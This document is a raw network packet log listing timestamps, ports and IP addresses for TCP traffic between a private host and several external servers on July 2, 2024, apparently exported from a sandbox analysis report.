Jul 2, 2024 08:22:16.528594017 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.528702021 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.528856039 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.528877020 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.528882980 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.528930902 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.528951883 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.528955936 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.529231071 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.529238939 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.529563904 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.529680967 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.529710054 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.529978037 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.529983997 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.530118942 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.530306101 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.530431986 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.530567884 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.530601978 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.530762911 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.530770063 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.531248093 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.531371117 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.531407118 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.531428099 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.531436920 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.531580925 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.532370090 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.618979931 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.619030952 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.619036913 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.619046926 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.619076967 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.619083881 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.619133949 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.619173050 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.619175911 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.619180918 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.619204044 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.619213104 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.619632006 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.619668007 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.619673967 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.619682074 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.619709969 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.620013952 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.620018959 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.620065928 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.620068073 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.620075941 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.620110035 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.620564938 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.620606899 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.620774984 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.620821953 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.621107101 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.621151924 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.621155024 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.621162891 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.621192932 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.621778011 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.621823072 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.621830940 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.621874094 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.621880054 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.621917963 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.628196001 CEST	80	49166	208.95.112.1	192.168.2.22
Jul 2, 2024 08:22:16.709599972 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.709656954 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.709686995 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.709732056 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.710237026 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.710283995 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.710284948 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.710293055 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.710325003 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.710596085 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.710642099 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.710952044 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.710988998 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.710995913 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.711035013 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.711042881 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.711086035 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.711622000 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.711664915 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.711669922 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.711678028 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.711719990 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.711719990 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.711728096 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.711765051 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.711769104 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.711776018 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.711812973 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.712568998 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.712572098 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.712611914 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.712814093 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.712853909 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.712862968 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.712902069 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.713242054 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.713247061 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.713289976 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.713406086 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.713558912 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.713602066 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.713613033 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.713655949 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.713656902 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.713669062 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.713690996 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.714035988 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.714277029 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.714314938 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.714329958 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.714457035 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.714498997 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.714504957 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.714798927 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.714838028 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.714842081 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.714850903 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.714889050 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.714893103 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.714901924 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.714936972 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.714940071 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.715255976 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.715404987 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.715445995 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.715445995 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.715454102 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.715486050 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.715576887 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.715576887 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.800326109 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.800390005 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.800518036 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.800565958 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.800921917 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.800930977 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.800960064 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.800973892 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.800982952 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.800995111 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.801532030 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.801573038 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.801582098 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.801589966 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.801629066 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.802483082 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.802524090 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.802536011 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.802542925 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.802571058 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.803098917 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.803147078 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.803148031 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.803158998 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.803204060 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.808075905 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.808124065 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.808130980 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.808135986 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.808168888 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.808785915 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.808830976 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.808845043 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.808847904 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.808867931 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.809601068 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.809638023 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.809652090 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.809655905 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.809694052 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.822238922 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.843653917 CEST	80	49166	208.95.112.1	192.168.2.22
Jul 2, 2024 08:22:16.843715906 CEST	49166	80	192.168.2.22	208.95.112.1
Jul 2, 2024 08:22:16.891097069 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.891154051 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.891201973 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.891223907 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.891239882 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.892137051 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.892184973 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.892188072 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.892196894 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.892232895 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.892771959 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.892813921 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.892821074 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.892831087 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.892878056 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.893731117 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.893779993 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.893780947 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.893791914 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.893830061 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.894867897 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.894920111 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.894927025 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.894932985 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.894968987 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.895593882 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.895638943 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.895649910 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.895653963 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.895685911 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.895687103 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.895697117 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.895729065 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.895733118 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.895765066 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.895838022 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.909305096 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.916971922 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:17.010900021 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.011167049 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.015979052 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.016047001 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.016139030 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.016681910 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.016735077 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.020898104 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.192874908 CEST	80	49162	41.216.183.13	192.168.2.22
Jul 2, 2024 08:22:17.192944050 CEST	49162	80	192.168.2.22	41.216.183.13
Jul 2, 2024 08:22:17.193072081 CEST	49162	80	192.168.2.22	41.216.183.13
Jul 2, 2024 08:22:17.197855949 CEST	80	49162	41.216.183.13	192.168.2.22
Jul 2, 2024 08:22:17.620157957 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.620182037 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.620188951 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.620320082 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.620348930 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.620354891 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.620366096 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.620367050 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.620412111 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.620412111 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.620490074 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.620501995 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.620512009 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.620538950 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.625206947 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.625255108 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.625267029 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.625308990 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.677524090 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.710052967 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.710074902 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.710093975 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.710099936 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.710110903 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.710120916 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.710127115 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.710191011 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.710191011 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.710592031 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.710621119 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.710632086 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.710661888 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.710757971 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.710769892 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.710818052 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.711327076 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.711350918 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.711361885 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.711563110 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.711574078 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.711585045 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.711623907 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.712146997 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.712193966 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.712204933 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.712299109 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.712321043 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.712333918 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.712990046 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.713074923 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.715039968 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.715150118 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.715236902 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.725203991 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.754051924 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.754071951 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.755189896 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.800137043 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.800375938 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.800386906 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.800446987 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.800507069 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.800518990 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.800554037 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.800647974 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.800658941 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.800775051 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.800784111 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.800795078 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.800806999 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.800813913 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.800813913 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.800946951 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.801177979 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.801188946 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.801218033 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.801297903 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.801464081 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.801475048 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.801485062 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.801495075 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.801505089 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.801506042 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.801616907 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.802321911 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.802334070 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.802344084 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.802364111 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.802467108 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.802478075 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.802489042 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.802499056 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.802527905 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.802527905 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.803323030 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.803334951 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.803350925 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.803442001 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.803447962 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.803539038 CEST	49167	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:17.803600073 CEST	80	49167	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:17.803611040 CEST	80	49167	192.3.243.156	192.168.2.22
